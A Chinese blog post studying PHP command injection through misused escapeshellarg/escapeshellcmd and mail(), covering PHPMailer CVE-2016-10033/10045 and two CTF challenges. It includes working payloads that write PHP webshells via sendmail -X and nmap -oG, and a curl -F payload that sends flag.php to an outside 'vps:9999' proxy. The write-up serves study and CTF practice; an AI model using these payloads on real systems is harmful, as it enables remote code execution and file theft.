文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-06-17   4.6k

PHP代码审计学习Day5——escapeshellarg与escapeshellcmd使用不当

0x01 postcart

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}

return escapeshellarg($email);
}

public function send($data) {
if (!isset($data['to'])) {
$data['to'] = '[email protected]';
} else {
$data['to'] = $this->sanitize($data['to']);
}

if (!isset($data['from'])) {
$data['from'] = '[email protected]';
} else {
$data['from'] = $this->sanitize($data['from']);
}

if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}

if (!isset($data['message'])) {
$data['message'] = '';
}

mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);
}
}

$mailer = new Mailer();
$mailer->send($_POST);

这道题其实是考察由 php 内置函数 mail 所引发的命令执行漏洞。我们先看看 php 自带的 mail 函数的用法:

mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) : bool

  • to,指定邮件接收者,即接收人
  • subject,邮件的标题
  • message,邮件的正文内容
  • additional_headers,指定邮件发送时其他的额外头部,如发送者From,抄送CC,隐藏抄送BCC
  • additional_parameters,指定传递给发送程序sendmail的额外参数。

在Linux系统上,send函数默认调用 Linuxsendmail 程序发送邮件。而在额外参数( additional_parameters )中, sendmail 主要支持的选项有以下三种:

  • -O option = value

    QueueDirectory = queuedir 选择队列消息

  • -X logfile

    这个参数可以指定一个目录来记录发送邮件时的详细日志情况。

  • -f from email

    这个参数可以让我们指定我们发送邮件的邮箱地址。

漏洞一

写一个demo:

1
2
3
4
5
6
7
8
<?php
$to = "[email protected]/com";
$from = "Hello Alice";
$message = "<?php phpinfo(); ?>";
$headers = "CC: [email protected]";
$options = "-OQueueDirectory=/tmp -X /var/www/html/rce.php";
mail($to, $subject, $message, $header, $options);
?>

上面这个样例中,我们使用 -X 参数指定日志文件,最终会在 /var/www/html/rce.php 中写入如下数据:运行之后会生成一个rce.php的日志文件,查看其内容:

漏洞二

但是我们还可以在$to这个字段注入命令,关于这个字段一共有三层过滤。

第一层:filter_var

1
filter_var($email, FILTER_VALIDATE_EMAIL)

image-20200616094611224

P牛的一篇文章也提到了怎么绕过FILTER_VALIDATE_EMAILhttps://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html

这里就用几个demo演示一下方便理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$email1 = '12 [email protected]';
echo $email1;
var_dump(filter_var($email1, FILTER_VALIDATE_EMAIL))."\n";
$email2 = '12\ [email protected]';
echo $email2;
var_dump(filter_var($email2, FILTER_VALIDATE_EMAIL))."\n";
$email3 = '"12\ 3"@test.com';
echo $email3;
var_dump(filter_var($email3, FILTER_VALIDATE_EMAIL))."\n";
$email4 = '"123\"\'"@test.com';
echo $email4;
var_dump(filter_var($email4, FILTER_VALIDATE_EMAIL))."\n";
$email5 = '\'."123"@test.com';
echo $email5;
var_dump(filter_var($email5, FILTER_VALIDATE_EMAIL))."\n";
$email6 = '\"."123"@test.com';
echo $email6;
var_dump(filter_var($email6, FILTER_VALIDATE_EMAIL))."\n";

测试结果如下:

1
2
3
4
5
6
12 [email protected](false)
12\ [email protected](false)
"12\ 3"@test.comstring(16) ""12\ 3"@test.com"
"123\"'"@test.comstring(17) ""123\"'"@test.com"
'."123"@test.comstring(16) "'."123"@test.com"
\"."123"@test.combool(false)

第二层:escapeshellarg

官方文档:

escapeshellarg —— 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(),system() 执行运算符(反引号)

demo1:

1
2
3
4
5
6
7
<?php
$a = '123';
$b=escapeshellarg($a);
echo "old: ".$a."\n";
echo "now: ".$b;
?>
//old: 123 now: '123' 两边加上单引号

demo2:

1
2
3
4
5
6
7
<?php
$a = "12'3";
$b=escapeshellarg($a);
echo "old: ".$a."\t\t";
echo "now: ".$b;
?>
//old: 12'3 now: '12'\''3' 单引号被转义,两边均加上单引号

第三层:escapeshellcmd

PHP的 mail() 函数在底层实现中,调用了 escapeshellcmd() 函数,官方文档:

escapeshellcmd() —— 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: *&#;`|*?~<>^()[]{}$*, \x0A\xFF" 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替。

demo1:

1
2
3
4
5
6
7
<?php
$a = '12"3';
$b=escapeshellcmd($a);
echo "old: ".$a."\t\t";
echo "now: ".$b;
?>
// old: 12"3 now: 12\"3

demo2:

1
2
3
4
5
6
7
<?php
$a = '12"3"';
$b=escapeshellcmd($a);
echo "old: ".$a."\t\t";
echo "now: ".$b;
?>
//old: 12"3" now: 12"3" 注意 ' 和 " 仅在不配对儿的时候被转义

那我们前面说过了PHP的 mail() 函数在底层调用了 escapeshellcmd() 函数对用户输入的邮箱地址进行处理,即使我们使用带有特殊字符的payload,绕过 filter_var() 的检测,但还是会被 escapeshellcmd() 处理。然而 escapeshellcmd()escapeshellarg 一起使用,会造成特殊字符逃逸,下面通过一个简单例子理解一下:

1
2
3
4
5
6
7
8
9
10
<?php
$param="127.0.0.1' -v -d a=1";
$a=escapeshellarg($param);
$b=escapeshellcmd($a);
$cmd="curl ".$b;
var_dump($a).'\n';
var_dump($b).'\n';
var_dump($cmd).'\n';
system($cmd);
?>

详细分析一下这个过程:

  1. 传入的参数是

    1
    127.0.0.1' -v -d a=1
  2. 由于escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:

    1
    '127.0.0.1'\'' -v -d a=1'
  3. 接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 以及 a=1' 中的单引号进行转义处理,结果如下所示:

    1
    '127.0.0.1'\\'' -v -d a=1\'
  4. 由于第三步处理之后的payload中的 \\ 被解释成了 \ 而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分,具体如下所示:

0x02 实例分析

这里实例分析选择 PHPMailer 命令执行漏洞CVE-2016-10045CVE-2016-10033 )。

CVE-2016-10033

又是P牛的文章:https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html

Seebug:https://paper.seebug.org/161/

环境搭建

Dockerfile:

1
2
3
4
5
FROM php:5.6-apache

RUN apt-get update && apt-get install -y sendmail

RUN echo 'sendmail_path = "/usr/sbin/sendmail -t -i"' > /usr/local/etc/php/php.ini

提前下载好源码,在源码根目录下添加测试文件 1.php:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
require('PHPMailerAutoload.php');

$mail = new PHPMailer;
$mail->setFrom($_GET['x'], 'Vuln Server');
$mail->Subject = 'subject';
$mail->addAddress('[email protected]', 'attacker');
$mail->msgHTML('test');
$mail->AltBody = 'Body';

$mail->send();
?>

shell:

1
2
docker build -t cve-2016-10033 .
docker run --rm --name vuln-phpmail -p 8080:80 -v /home/ca01h/phpmail/deploy/PHPMailer-5.2.17:/var/www/html cve-2016-10033

漏洞原理

漏洞具体位置在 class.phpmailer.php 中:

1
2
3
4
5
6
7
8
9
10
11
12
private function mailPassthru($to, $subject, $body, $header, $params)
{

//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
return $result;
}

这里$param作为mail的第五个参数,该参数用于指定sendmail的额外参数,其中sendmail-X参数会将流量记录到文件中从而写文件实现 RCE,进一步跟跟进 $params 参数,看看它是怎么来的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
protected function mailSend($header, $body)
{
$toArr = array();
foreach ($this->to as $toaddr) {
$toArr[] = $this->addrFormat($toaddr);
}
$to = implode(', ', $toArr);

$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
if ($this->Sender != '' and !ini_get('safe_mode')) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
}
$result = false;
if ($this->SingleTo and count($toArr) > 1) {
foreach ($toArr as $toAddr) {
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
$this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
} else {
$result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
$this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if (!$result) {
throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
}
return true;
}

重点关注第12行,很明显 $params 是从 $this->Sender 传进来的,我们找一下 $this->Sender

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
(!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') . " (setFrom) $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$this->From = $address;
$this->FromName = $name;
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}

$address 经过某些处理之后赋值给 $this->Sender,继续追踪validateAddress函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public static function validateAddress($address, $patternselect = null)
{
if (is_null($patternselect)) {
$patternselect = self::$validator;
}
if (is_callable($patternselect)) {
return call_user_func($patternselect, $address);
}
//Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
return false;
}
if (!$patternselect or $patternselect == 'auto') {
//Check this constant first so it works when extension_loaded() is disabled by safe mode
//Constant was added in PHP 5.2.4
if (defined('PCRE_VERSION')) {
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
$patternselect = 'pcre8';
} else {
$patternselect = 'pcre';
}
} elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
//Fall back to older PCRE
$patternselect = 'pcre';
} else {
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
$patternselect = 'php';
} else {
$patternselect = 'noregex';
}
}
}
switch ($patternselect) {
case 'pcre8':
......
case 'pcre':
......
case 'html5':
......
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
case 'php':
default:
return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
}
}

这个函数的大概流程就是:

  1. 默认patternselect==‘auto’,它会自动选择一个方式对email进行检测
  2. 如果php支持正则PCRE(也就是包含preg_replace函数),就用正则的方式来检查,就是那一大串很难读懂的正则
  3. 如果php不支持PCRE,且PHP版本大于PHP5.2.0,就是用PHP自带的filter来检查email
  4. 如果php不支持PCRE,且PHP版本低于PHP5.2.0,就直接检查email中是否包含@

如果是第四种情况的话,这个时候该函数会使用noregex的方式,即只需满足三个条件即可通过过滤:

  • 输入长度大于 3
  • 含有@
  • @不是最后一个字符

这三个条件比较容易满足,也有复现环境和Poc:https://github.com/opsxcq/exploit-CVE-2016-10033

但是满足这个情况的主机现在已经很少了,正常情况下都是使用pcre8的正则来进行过滤,所以如果要扩大攻击面需要对正则进行绕过,并且还得让 sendmail 成功执行。

有几种payload可以绕过那些看着头大的正则表达式:

正则表达式分析: https://www.leavesongs.com/PENETRATION/how-to-analyze-long-regex.html

1
"<?system($_GET['pew']);?>". -OQueueDirectory=/tmp/. -X./images/zwned.php @swehack.org

这里使用.%20(点+空格)来作为分隔符,实际测试一下,已经写入了shell.php

访问:

1
http://127.0.0.1:8080/1.php?x=%22%3C?system($_GET[%27x%27]);?%3E%22.%20-OQueueDirectory=/tmp/.%20-X/var/www/html/shell.php%[email protected]

P牛的payload:

1
aaa( -X/home/www/success.php -OQueueDirectory=/tmp )@qq.com

CVE-2016-10045

Seebug文章:https://paper.seebug.org/164/

环境搭建

和上面的一样,就是把源代码换成5.2.20版本

漏洞原理

首先看补丁:

针对用户输入使用 escapeshellarg 函数进行处理。所以,在最新版本中使用之前的 payload 进行攻击会失败,例如:

1
a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com

但是,却可以使用下面这个 payload 进行攻击:

1
a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com

实际上,可用于攻击的代码只是在之前的基础上多了一个单引号。之所以这次的攻击代码能够成功,是因为修复代码多了 escapeshellcmd 函数,结合上 mail() 函数底层调用的 escapeshellarg 函数,最终导致单引号逃逸。

1
2
3
4
5
6
7
<?php
$payload = "a'( -OQueueDirectory=/tmp -X/var/www/html/shell.php )@qq.com";
$earg = escapeshellarg($payload);
var_dump($earg);
$ecmd = escapeshellcmd($earg);
var_dump($ecmd);
?>

我们的 payload 最终在执行时变成了'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\',分割后就是-fa\(-OQueueDirectory=/tmp-X/var/www/html/test.php)@a.com',最终的参数就是这样被注入的。

0x03 练习题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['hongri']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
system("curl ".$url);
}
}
?>
1
2
3
4
// flag.php
<?php
$flag = "HRCTF{Are_y0u_maz1ng}";
?>

考点一

这里涉及到可变变量的概念

1
2
3
4
5
6
7
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}

首先循环获取超全局变量_POST_GET_COOKIE,并依次赋值给$__R。再第二行判断$$__R是否存在,如果存在的话,那么继续判断_POST_GET_COOKIE中是否存在键值相等的,如果相等则删除变量。

假如我们通过GET提交flag=ca01h,接着通过POST提交_GET[flag]=ca01h。那么遍历$_POST 超全局数组的时候,$__key就等于_GET[flag]$__v就等于ca01h,所以$$__key等于$_GET[flag],即ca01h,此时$$__k==$__v成立,变量$_GET[flag]就被释放了。接着如果这些超全局变量存在的话,对它们的键名进行一个waf过滤,但是在 第21行 和 22行 有这样一串代码:

1
2
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

extract是变量覆盖常用的函数,作用是将对象内的键名变成一个变量名,而这个变量对应的值就是这个键名的值,EXTR_SKIP 参数表示如果前面存在此变量,不对前面的变量进行覆盖处理。由于我们前面通过 POST 请求提交 _GET[flag]=test ,所以这里会变成 $_GET[flag]=test ,这里的$_GET变量就不需要再经过 waf 函数检测了,也就绕过了preg_match(‘/flag/i’,$key)的限制。

考点二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['hongri']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
system("curl ".$url);
}
}

第二行和第五行的两个if语句用md5碰撞就可以绕过,接下来主要考察curl读取文件。

在 curl 中存在 -F 提交表单的方法,可以提交文件。 -F <key=value> 向服务器POST表单,例如: curl -F “[email protected];type=text/html” url.com 。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了,同时还不受最后的的影响。

这里的 第11行第12行 增加了两个过滤,参照上面的知识点绕过。

所以这题最后的 payload

1
/index.php?flag=QNKCDZO&hongri=s878926199a&url=http://baidu.com/' -F file=@/var/www/html/flag.php -x  vps:9999

POST:

1
_GET[flag]=QNKCDZO&_GET[hongri]=s878926199a&_GET[url]=http://baidu.com/' -F file=@/var/www/html/flag.php -x  vps:9999

0x04 附加练习题

题目地址:[BUU2018 Online Tool](https://buuoj.cn/challenges#[BUUCTF 2018]Online Tool)

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

最后一行代码是执行一个系统命令,而且有传参,肯定是利用这里了。这里常见的命令后注入操作如 | & &&都不行,escapeshellcmd会对这些特殊符号前面加上\来转义。

那么就应该想想怎么利用nmap来做些什么。

nmap命令中 有一个参数-oG或者-oN可以实现将命令和结果写到文件

接下来考虑两个函数的效果,测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$host = "' <?php phpinfo;?> -oG shell.php '";
$host = (string)$host;
echo "host:".$host;
echo "</br>"."\n";
$arg = escapeshellarg($host);
echo "arg:".$arg;
echo "</br>"."\n";
$cmd = escapeshellcmd($arg);
echo "cmd:".$cmd;
echo "</br>"."\n";
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
?>

输出\:

1
2
3
host:' <?php phpinfo;?> -oG shell.php '</br>
arg:''\'' <?php phpinfo;?> -oG shell.php '\'''</br>
cmd:''\\'' \<\?php phpinfo\;\?\> -oG shell.php '\\'''</br>

escapeshellarg会先对单引号转义,此时的结果应该是这样的:

1
\'-oG <?php phpinfo();?> -oG shell.php \'

然后对\分割的每个部分加上单引号,并连接,结果如下:

1
''\''-oG <?php phpinfo();?> -oG shell.php '\'''

之后,进行了escapeshellcmd,会对上边提到的字符进行转义:

1
''\\''\<\?php phpinfo\(\)\;\?\> -oG shell.php '\\'''

带入到命令行执行的结果就是:

1
\ <?php phpinfo();?> -oG shell.php \\

payload:

1
?host=' <?php phpinfo();?> -oG shell.php '

读取flag:

1
?host=' <?php echo `cat /flag`;?> -oG mmm.php '
Copyright © ca01h 2019-2020 | 本站总访问量